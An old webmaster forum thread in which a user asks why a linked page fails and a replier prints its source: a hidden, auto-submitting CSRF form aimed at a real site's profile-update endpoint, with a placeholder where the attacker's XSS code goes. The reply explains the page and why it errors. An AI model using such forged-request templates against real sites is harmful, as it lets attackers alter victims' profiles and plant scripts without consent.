Zymic Forums

Webmaster resources

Zymic IRC Server

Chat in real time at irc.zymic.com - Learn More

Welcome

Welcome to the Zymic webmaster forums. Our forums are here to provide people the free ability to discuss a range of websites related topics such as design, development coding and marketing.

In order to post you will need to register for a zymic account or if you already have one simply login by using the form on the left.

left Zymic Webmaster ForumsWeb Design & DevelopmentClient Side ScriptingHTML and CSS right
left right
Horaaan
post Oct 12 2008, 04:17 PM
Post #1


Newbie
*

Group: Members
Posts: 1
Joined: 12-October 08
Member No.: 63,999



why its not working.
http://www.tutorialistic.net/blah.html
Go to the top of the page 
 
  + Quote Post
 
Start new topic
Replies
rockacola
post Oct 15 2008, 01:00 PM
Post #2


Member
**

Group: Members
Posts: 41
Joined: 11-October 08
From: United State
Member No.: 63,862



Source code of that page:
CODE
<html>
<head></head>
<body onLoad=java script:document.form.submit()>

<form action="http://community.mcafee.com/profile.php?do=updateprofile";
method="POST" name="form">

<input type="hidden" name="s" value="">
<input type="hidden" name="do" value="updateprofile">
<input type="hidden" name="customtext" value="###########XSS CODE#########">
<!-- Attacker's XSS Code -->
<input type="hidden" name="month" value="-1">
<input type="hidden" name="day" value="-1">
<input type="hidden" name="year" value="">
<input type="hidden" name="oldbirthday" value="">
<input type="hidden" name="showbirthday" value="2">
<input type="hidden" name="homepage" value="">
<input type="hidden" name="icq" value="">

<input type="hidden" name="aim" value="">
<input type="hidden" name="msn" value="">
<input type="hidden" name="yahoo" value="">
<input type="hidden" name="skype" value="">
</form>
</body>
</html>


Appearently you are learning about XSS attack hunter.gif


also,
the reason it's not working because as soon as you finish loading this page, you'll be automatically redirect to "http://community.mcafee.com/profile.php?do=updateprofile" page, which will give you a "Page Load Error" message.
Go to the top of the page 
 
  + Quote Post

Posts in this topic
Horaaan   Script Not Working   Oct 12 2008, 04:17 PM
wozzym   well what script are you trying to use?   Oct 12 2008, 07:05 PM
rockacola   Source code of that page: <html> <head...   Oct 15 2008, 01:00 PM

 Closed Topic Start new topic
left right
0 Members:
left right
 


Lo-Fi Version Time is now: 23rd May 2013 - 02:10 AM